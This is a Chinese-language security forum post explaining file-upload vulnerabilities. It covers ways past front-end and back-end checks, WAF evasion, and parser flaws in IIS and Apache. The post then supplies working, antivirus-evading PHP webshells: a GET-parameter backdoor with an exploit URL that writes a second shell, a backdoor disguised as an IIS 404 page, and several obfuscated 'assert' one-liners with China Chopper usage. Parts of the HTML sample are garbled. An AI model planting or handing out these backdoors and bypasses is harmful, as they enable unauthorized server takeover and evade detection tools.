Web安全 -- 上传漏洞讲解

小峰 / 2018-01-26 08:20:17 / 浏览数 4106 安全技术 WEB安全 顶(0) 踩(0)

上传绕过

为了上传木马文件我们会重点关注文件上传功能，而各大厂商也会对上传文件进行多种限制根据不同的限制方法，我们把上传绕过的方法也分为多种。

1前端验证和后端验证传

网站在验证文件时，会在不同的阶段对文件进行验证，有的为了方便会直接在前端进行一个JS的验证，但大部分都会放在后端。

前端验证 - 绕过方法

截断上传

对于前端验证相对就很简单了，只要我们做一个截断，我们就可以绕过前端验证了。

构造上传

首先，我们要先假定情景，现在我们发现了一个网站，他有上传功能，这个功能有可能不对我们当前用户的身份开放或是存在前端验证，这时个我们就可以进行构造上传了，

这就是一个简单的上传页面。

后端验证

而对于后端就我们就要继续去深入的分析这个目标是如何进行限制的了

文件名验证 - 绕过方法

针对白名单绕过方法

白名单绕过方式一般都是通过解析漏洞来构造，如`IIS6.0` 会解析`1.asp;1.jpg`，所以我们可以通过这种方式来修改上传。

针对黑名单绕过方法

找容易忽视的后缀：`cer`等等；

- 大小写绕过；只是在`Windows`中会被解析
- 文件名后面加 . 或者 空格

■`Windows`中也会被自动去掉从而解析为应用程序文件，配合其他的解析规则或windows的命名规则来绕过。

针对重命令绕过方法

如果`web`程序会将`filename`除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。

文件内容验证 - 绕过方法

针对文件头*`content-type`*字段校验■*`image/gif`*■绕过方法

可以通过自己写正则匹配，判断文件头内容是否符合要求，这里举几个常见的文件头对应关系：

.JPEG;.JPE;.JPG，“JPGGraphic File”

.gif，“GIF 89A”

.zip，“Zip Compressed”

.doc;.xls;.xlt;.ppt;.apr，“MS Compound Document v1 or Lotus Approach APRfile”

在木马内容基础上再加了一些文件信息，有点像下面的结构

```
GIF89a<?php phpinfo(); ?>
```

针对自定义正则校验绕过方法

更多的是木马的编写，利用编码形式或其他的方式进行对内容验证的绕过
例如下图的内容是一个 P H P 的小马文件，他就对他的内容进行了修改可以绕过一定防护设备和正则的校验方法

另外一个进行免杀处理的小马

WAF设备验证 - 绕过方法

除了利用各种加密形式和代码编写，我们还有其他的方式对上传进行绕过。
现在的网络环境中，waf种类多种多样，下面只是提供了几个常见的绕过方法，其他的还需要大家来一起收集挖掘。

垃圾数据

这种绕过方法不局限于上传，还有可能利用到注入等其他攻击行为中。
有些主机WAF软件为了不影响web服务器的性能，会对校验的用户数据设置大小上限，比如1M。此种情况可以构造一个大文件，前面1M的内容为垃圾内容，后面才是真正的木

当然也可以将垃圾数据放在数据包最开头，这样便可以绕过对文件名的校验。

Filename

可以参考文件名绕过方法，包括路径等等形式来对这个方法的限制进行绕过。可以考虑的点还有多个文件名，加入路径，利用重名命等。

提交方法混淆

有些WAF的规则是：如果数据包为POST类型，则校验数据包内容。
此种情况可以上传一个POST型的数据包，抓包将POST改为GET。然后仍然传输POST的数据。

利用waf本身缺陷删除实体里面的*Conten-Type*字段

可以参考基与文件内容的绕过方法，可以利用多种形式对Conten-Type进行绕过。

绕过方法详解

配合文件包含漏洞

文件包含漏洞是渗透测试过程中用得比较多的一个漏洞，主要用来绕过waf上传木马文件。
利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测，phar:// 数据流包装器自 PHP 5.3.0起开始有效

```
<?php Include("phpinfo.txt") ;?>
```

Txt中的内容就不解释也。
文件包含可利用的函数

- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()等

如果我们上传的文件被后台限制了后缀，但我们依然可以上传txt形式的木马文件来利用文件包含漏洞调用，这样仍然可以起到shell的功能。

配合服务器解析漏洞

攻击者利用上传漏洞时，通常会与Web容器的解析漏洞结合在一起。
所以我们先了解解析漏洞，才能更深入的了解上传漏洞
常见的Web容器有IIS■Apache■Tomcat■Nginx等，我们以IIS和Apache为例讲解。

*IIS*解析漏洞

IIS6.0在解析文件时有以下两个漏洞(微软不认为这是一个漏洞，所以并没有IIS6.0的补丁)

- 当建立*.asa、*.asp格式的文件夹时，其目录下的任何文件都将被当做asp脚本执行
- 当文件为*.asp;1.jpg，IIS6.0同样会以ASP脚本来执行

Apache解析漏洞

在Apache 1.x和Apache 2.x中存在解析漏洞 ，Apache在解析文件时有一个原则:
当碰到不认识的扩展名时，将会从后向前解析，直到碰到认识的 扩展名，如果都不认识，则会暴露其源码。比如 1.php.rar.ss.aa 会被当做PHP脚本执行

配合文件命令规则

这个方法在文件名的绕过方法中是有设计的
在这个方面，我们就要了解文件的命名规则
比如windows中对../的支持

文件扩展名是一个文件的必要构成部分

任何一个文件可以有或没有扩展名。对于打开文件操作，没有扩展名的文件需要选择程序去打开它，有扩展名的文件会自动用设置好的程序（如有）去尝试打开（是"尝试打

文件扩展名表明了该文件是何种类型但不一定真实

文件扩展名可以人为设定，扩展名为TXT的文件有可能是一张图片，同样，扩展名为MP3的文件，依然可能是一个视频。
在上传过程中，我们的木标是先要上传上去木马文件，不要过分的局限在文件名上面，上传上去，知道文件位置，我们还可以想其他的办法去进行调用。
等

各类型编辑器上传绕过及CMS的通用上传漏洞大家可以自己去查，这里就不啰嗦了

案例讲解

免杀处理

我在我的一个目录下放了几个做了免杀处理的小马，和没有做免杀处理的文件，利用下载的最新的安全狗来进行了检测

多个混杂的木马文件。包含asp/php
下载的最新服务器安全狗5.0

扫描结果 发现asp木马文件一个jsp木马文件一个php木马文件三个。

ASP简单分析

被发现的木马文件功能为权限扫描，格式为txt，被确认为Trojan.Generic
Trojan.Generic：计算机木马名称，启动后会从体内资源部分释放出病毒文件，有些在WINDOWS下的木马程序会绑定一个文件，将病毒程序和正常的应用程序捆绑成一个
其实这个的主要功能就是对当前用户对目录权限的一个检测，实现功能并不多。
主要是对里面的文件内容进行了一个过滤，里面有对文件的读取功能
下面为大家介绍个ASP小马，因为代码量及篇幅问题不为大家介绍大马
这个小马利用了gif的文件头，面文件内容利用了关键词的混淆，在关键词中加入了@@这样就可以不被正则发现存在敏感代码。
而他的文件后辍是.cer并不是常规的asp文件，这样就大保障了他的安全性，当被攻击网站为黑名单上传限制并用安全狗来对上传文件进行过滤的话，那这个小马可以保证突

不讲解大马了，但给大家分享一个大马的免杀样本

Php简单分析

被发现在木马是最简单的一句话木马

这个就不用解释了
接下来给大家分享几个PHP的免杀小马
超级隐蔽的PHP后门

```
<?php $_GET[a]($_GET[b]);?>
```

仅用GET函数就构成了木马；
利用方法：

```
http://localhost:8081/test/a.php?a=assert&b=${fputs%28fopen%28base64\_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2
```

执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木

404隐藏PHP后门

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>■■■■■■</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
 BODY { font: 9pt/12pt ■■ }
   H1 { font: 12pt/15pt ■■ }
     H2 { font: 9pt/12pt ■■ }
       A:link { color: red }
     A:visited { color: maroon }
     </STYLE>
     </HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
     <h1>■■■■■■</h1>
     ■■■■■■■■■■■■■■■■■■■■■■■■■
```

```
<hr>
<p>■■■■■■■■■</p>
<ul>
<li>■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■</li>
<li>■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
</li>
<li>■■<a href="http://www.asp-muma.com/javascript:history.back(1)">■■</a>■■■■■■■■■■■</li>
</ul>
<h2>HTTP ■■ 404 - ■■■■■■■■■■<br>Internet ■■■■■ (IIS)</h2>
<hr>
<p>■■■■■■■■■■■■■■■■■</p>
<ul>
<li>■■ <a >Microsoft ■■■■■■■</a>■■■■■■&ldquo;HTTP&rdquo;■&ldquo;404&rdquo;■■■■■</li>
<li>■■&ldquo;IIS ■■&rdquo;■■■ IIS ■■■■ (inetmgr) ■■■■■■■■■■■■■■&ldquo;■■■■■&rdquo;■&ldquo;■■■■■■■&rdquo;■&ldquo;■■■■
</ul>
</TD></TR></TABLE>
<?php
@preg_replace("/[checksql]/e",$_POST['cnsec'],"saft");
header('HTTP/1.1 404 Not Found');
?>
</BODY></HTML>
```

变形的一句话

```
<?php ($_=@$_GET[2]).@$_($_POST[sz])?>

<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>

<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?>

<?php $a = "a"."s"."s"."e"."r"."t";  $a($_POST["sz"]); ?>
```

在菜刀里写http://localhost:8081/test/a.php?2=assert密码是sz

上一篇：Electron < v1.8.2... 下一篇：VPS上搭建Kali linux

1. 0 条回复
   - 动动手指，沙发就是你的了！